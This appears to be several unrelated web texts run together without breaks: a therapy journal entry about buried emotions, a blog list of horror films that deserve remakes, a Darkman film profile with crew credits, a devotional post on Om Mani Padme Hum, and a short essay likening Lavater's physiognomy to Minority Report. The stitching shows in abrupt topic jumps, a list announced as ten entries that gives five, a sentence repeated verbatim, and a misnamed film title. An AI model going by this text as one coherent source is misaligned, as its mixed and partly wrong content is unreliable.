I went back to writing # 28. And then I had a surfacing of an understanding about how this is all connected to the ‘decision’ I described above

I can see how in the absence of the feeling body I gave up, the only other way to protect myself would have been to follow Christianity closely. Because as a Christian, a practicing one, I didn’t have to face but a fraction of the decisions I had to face with the life I chose—and sadly, I didn’t even have what I would have needed with me to protect me adequately. I suppose there’s kind of an act of courage in pursuing a certain life even tho I knew that surrendering Christianity meant being very vulnerable.

Sharon said that some people delay reaching the insight I had about emotions being buried and only shadow feelings being left—she said they delay it because they can’t face the enormity of their loss—how life would have been for them had they had their full Self with them.

When she says something like that (by the way, I can identify with the impulse she named—the desire to not know how much you’ve missed—I think I experienced a version of it when I found some pleasure in being mean to my dog, as a child, and knew that as soon as I stopped I was going to have hell to pay in regret) that tells me again that this course I’ve been on with her seems to not be something that we’re just hacking out of the jungle. It seems others have been here before. It occurred to me to think of it in terms of human development, because I keep trying to ask her what she knows about this path, such as where it winds through and stuff, but the questions seem sort of hollow and irrelevant when I try to ask her in session. It sounds to me as if I’m trying to get her to put it in hierarchical terms or something. Asking her to tell me what “stage” I reach next, and how far I have to go until I’m “done”.
When I think of it in human development terms, though, it seems I can ask her in that sense. Though there is infinite variation in children, there is a sort of progression in development with milestones along the way that all developing humans pass through. They’ve been mapped, and charted. That’s what I want to get a sense of from Sharon.

So anyway, I see as I read, what it was like to go out into the world without my Emotional Body available to protect me, except through the crudest and most confusing of means (my anxious feelings). Another version I guess of what it cost me to bury my Emotional Self.

 Everybody’s been screaming about Hollywood remakes lately – and who can blame them.  If it’s not a remake, it’s a re-imagining, a revamp, or just generally disappointing.  It seems there’s nothing new under the sun (District 9 politely excepted), and that every beloved film from your past is vulnerable to being mauled by the current studio heads (for example – who would have thought that they’d (1) remake Look Who’s Coming to Dinner and (2) remake it as an Angry Black Man comedy?)

 While vast amounts of virtual ink and vitriol has been expended to try convincing Hollywood to give up the remake, I’ve come to the conclusion that it’s unavoidable – we’ve had remakes since the 1920’s, and all we can really do is hunker in and maybe try to nudge Hollywood towards films that should be remade.  With that in mind… my list of ten films that Hollywood should consider churning out again, and why.

 First off, what do I use as criteria?  I don’t look at whether or not the film can be ‘improved’ by Hollywood – often, classic films are classic because there are elements that can’t be improved on, or can’t be recreated.  You can’t get Roddy McDowall back.  You can’t get Peter Lorre.  You can’t get Boris Karloff or Vincent Price. 

 Instead, I look at the potential for new technology – and new social standards – to bring out elements of the original that were underplayed.  Not downplayed – many films (like Jaws) benefit vastly from downplaying the FX.  However, other films (like my #1 pick) have underplayed elements that really ought to be key – be that gore, sex, or social issues that simply weren’t acceptable to address in the original time frame.

 With that in mind, let’s get this show on the road.

 5:  The Legend of Hell House 

 Brief Summary:  Four people go into a haunted house, hoping to find proof of the supernatural for their wealthy patron.  Over the course of a week, the central haunting force rips them apart, before concluding in a mass attack to destroy them all.

 Why a Remake?  Folks who know me will probably be picking their jaws up off the floor to see this one.  I adore this film, as everybody knows.  But I also adore the book, as I’ve admitted in my discussion of Hell House on this very blog.  In the 70’s, the British film simply couldn’t play out all the gore and sexual elements of the novel, and a modern remake could get away with bringing up much more in the way of the elements that made the novel so horrifying.  However, don’t focus entirely on the gore and sexuality – focus more on Mrs. Barrett, and her issues.  That was, after all, the primary focus of the novel.  Casting moves – I’d replace Roddy McDowall (God, that hurts to say, but it’s necessary – the man’s dead, and I have to accept that) with Robert Downey Jr.  He’s got the potential to play the trouble character that Fischer really needs, and the quirky side that implies a trip through mental breakdown and alcoholism.  Plus, giving him only a handful of big scenes would help keep him from overpowering the other characters too much.

 4:  The Shadow

 Summary:  Leading a small army of agents of people he’s helped, the Shadow fights crime with the power to cloud men’s minds….

 Why a Remake?  Because the original film, while enjoyable on a basic level if you quietly ignore the original source material, needs to be expunged from the memory of mankind and replaced with the real thing.  Drop the origin story, put the Shadow in at his roughest – I recommend Crime Nation era.  In the post-Batman Begins world, we can hopefully convince them to go with the original Shadow, who’d have been more at home with Bale’s Batman than with Clooney’s (rather more the model they went with, sadly.)

 3:  Night of the Demon

 Summary:  Not Night of the Demons, the singular.  This film is a classic version of M.R. James’ Casting the Runes – read it, love it, watch it.

 Why a Remake?  Mostly to bring James’ work back into the public consciousness.  The movie doesn’t need a remake, but it could be done pretty well, especially if you put in a director and screenwriter who can handle the slow burn tension of it all.  Best of all, in a post-Omen, post-Final Destination world, there’s a chance that you could get away with going back to the original view of the monster, which raised the question of if it was actually a physical being, or if it was merely the gnawing terror of knowing you were doomed to die in 30 days that led to a self-fulfilling prophecy.

 2:  The Beast with Five Fingers (Sadly unavailable on DVD)

 Summary:  In Victorian Italy, a one-handed pianist passes away, leaving his fortune to the young nurse he’s fallen in love with.  His conniving family shows up, hoping to claim said fortune, and generally make themselves obnoxious, particularly to Hillary, the secretary played brilliantly by Peter Lorre.  But when the people conspiring against our heroine start passing away, is it a human agent at play?  Or has the iron-willed pianist come back, in the form of his one functioning hand, out to see that his wishes are fulfilled?

 Why a Remake?  Honestly, it hurts me to put this one on the list.  However, the story hasn’t been seen in decades, and a remake would let us excise the horrible coda where the comic Italian policeman explains everything.  More importantly though, a remake would just about force them to finally put the original out on DVD, so I can watch it at my leisure….

 1:  Werewolf in a Girl’s Dormitory

 Summary:  In a German reformatory school for delinquent girls, wolves seem to be attacking the girls… but does our wolf walk on two legs?  If so, who is it – the school’s chief backer?  His wife and her hounds?  The mysterious new professor?  Or perhaps our ersatz Peter Lorre groundskeeper?

 Why a Remake?  Come on, folks, doesn’t the title say it all?  The original was a bloodless, tame German film that had the sensibilities of the 50’s.  It begs to be remade with all the tacky CGI gore effects and T&A that can be crammed in, with all the lack of subtlety that Hollywood is so very, very good at these days.  Would the result be any better than the original?  Well, no, probably not (not that it has to aim very high to manage it).  But that title, man!  It begs to be made as a proper piece of exploitation crap, rather than merely pseudo-gothic Z-reel crap.

Darkman is a 1990 superhero action film directed by Sam Raimi. It is based on a short story he wrote that paid homage to Universal horror films of the 1930s. The film stars Liam Neeson as Peyton Westlake, a scientist who is attacked and left for dead by a ruthless mobster, Durant (played by Larry Drake) after his girlfriend, an attorney (played by Frances McDormand) runs afoul of a corrupt developer (played by Colin Friels). Westlake survives, but is left with burns over most of his body. While hospitalized as a comatose John Doe, he is unwittingly subjected to a radical treatment that destroys the nerve endings connected to his skin, neutralizing his ability to sense physical pain but increasing his brain’s emotional output to compensate. Now half-crazed, Westlake escapes the hospital and decides to get revenge on the criminals who took his life away, but now as a masked vigilante, known as Darkman.

Tagline: Now, Crime Has a New Enemy, And Justice Has a New Face!

Unable to secure the rights to either The Shadow or Batman, Raimi decided to create his own superhero and struck a deal with Universal Studios to make his first Hollywood studio movie. He was subjected to a grueling screenwriting process and equally difficult post-production battle with the studio.

Darkman was generally well-received by critics and performed well at the box office, grossing almost $49 million worldwide, well above its $16 million budget. This financial success spawned two direct-to-video sequels, Darkman II: The Return of Durant and Darkman III: Die, Darkman, Die, as well as numerous comic books, video games and action figures. Over the years, Darkman has become regarded as a cult film.

Soundtrack:

Danny Elfman said of his score, “Again old-fashioned and melodramatic, but in a way that I’m crazy about. Sam Raimi has a wonderful visual style that lends itself easily to music. It was an enormous relief writing long, extended musical sequences, something which is very rare in modern films. No reason to hold back on this one.”

Make Up Department
  Susan Exton-Stranks … head of hair department
  Tony Gardner … special makeup effects designer
  Larry Hamlin … makeup artist
  Deborah K. Larsen … key makeup artist
  Mark William Robinson … makeup production assistant
  Marlene Stoller … effects technician: makeup effects unit
  Roland Blancaflor … special makeup effects technician – Read Roland’s Interview with GoreMaster HERE

Special Effects Department
  Gabriel Bartalos … sculptor: makeup effects unit
  Doug Beswick … mechanical designer: makeup effects unit
  Roger Borelli … effects technician: makeup effects unit
  Evan Brainard … mechanical designer: makeup effects unit
  Teresa Burkept … bandage costumes: makeup effects unit
  Michael Burnett … effects technician: makeup effects unit
  Caleb Chung … mechanical designer: makeup effects unit
  Steve Dunham … mechanical designer: makeup effects unit
  Mike Elizalde … sculptor: makeup effects unit
  Jim Eustermann … effects technician: makeup effects unit
  Steve Frakes … mechanical designer: makeup effects unit
  Linda Frobos … sculptor: makeup effects unit
  Tony Gardner … special makeup effects artist
  Loren Gitthens … sculptor: makeup effects unit
  Ray Greer … miniatures
  Werner Hahnlein … special effects technician
  Larry Hamlin … special makeup effects artist
  Kevin Hudson … special effects makeup
  Kevin Hudson … key mold maker: makeup effects unit
  Rick Lalonde … gelatin specialist: makeup effects unit
  Kent W. Luttrell … model maker
  Roger McCoin … mechanical designer: makeup effects unit
  Becky Ochoa … effects technician: makeup effects unit
  Colin Penman … effects technician: makeup effects unit
  Greg Polutonovich … production painter: makeup effects unit
  Wendy Ripley … bandage costumes: makeup effects unit
  Randy Simper … animatronics specialist
  Randy Simper … mechanical designer: makeup effects unit
  Chet Zar … key sculptor and painter: makeup effects unit
  Yancy Calzada … mechanical effects (uncredited)

Visual Effects Department

Movie Poster 22 x 34

So many readers have commented on the connection between the muck and the Lotus, that it seemed only apt to devote an entry to the Lotus and the proverbial jewel within Her.  Om mani padme hum.  The jewel, resting within the thousand-petaled lotus which blooms within the awakened heart.  Omg,  mani padme hum.  The lingam resting within the yoni.  Om mani padme hum.  The most exquisite lotus blooming pure from the filthiest, muddy waters, and humanity arising, finally and pure, from the muck of the collective psyche of impressions,  separating us from the knowledge of who and what we truly are.

Listen, the Lotus does not arise exquisite despite of the filth of the mud, the Lotus arises exquisite because of it.  Listen, the Lotus does not arise exquisite despite of the filth of the mud, the Lotus arises exquisite because of it.  Listen: 

All existence is a mirror of the Divine Creative Intelligence of the Infinite.  Born into form through the gates of the Divine Mother, the Manifestation delights in its own existence and the Manifestation delights the Infinite.  We are the Manifestation.  We are, each of us, an embodiment of the Divine.  And Divine, when the Doorway of the Heart opens, it is the Infinite which awakens within us.

References:

To learn more about Om Mani Padme Hum–

A general introduction is acquired here– http://en.wikipedia.org/wiki/Om_mani_padme_hum

From the Office of the Tibetan Government in Exile.  That’s right, it doesn’t get more official than this– http://www.tibet.com/Buddhism/om-mantra.html

http://www.dharma-haven.org/tibetan/mani-graphics.htm

Basics information, straightforward and easy to grasp– http://www.dharma-haven.org/tibetan/meaning-of-om-mani-padme-hung.htm

Spielberg has “Minority Report” with all of its futuristic versions of prediction and exaggerations. Lavater has his hermeneutic machine, one the interprets people’s soul through their physical characteristics as projected through the shadow. Although, “Minority Report” is a more refined concept in the sense that it incorporates an element of time-travel by the ‘Pre-Cogs’ to flash forward through a person’s life to determine whether or not they will commit acts that have been deemed to be sinful, such as murder and rape. The similarity still exists between Spielberg and Lavater; both examples point to the notion that a human can be judged without actually having acted out any of their projected crimes or negative characteristics. I’m unsure if any people who had been subject to Lavater’s physiognomical examinations were actually convicted of being one who would commit a crime in the future, purely due to the shape of their nose or the length of their brow, however, the fact remains that this is quite a ridiculous concept. It is quoted by Victor Stoichita that “Lavater’s shadow… is not a substitute for the Devil, but a physical manifestation of him”. This creates quite a strong connection between the physiognomy machine and the technology of “Minority Report”, as both inferences into the private workings of the human mind are based upon the detection of thought patterns and tell-tale signifiers that speak of the unspeakable.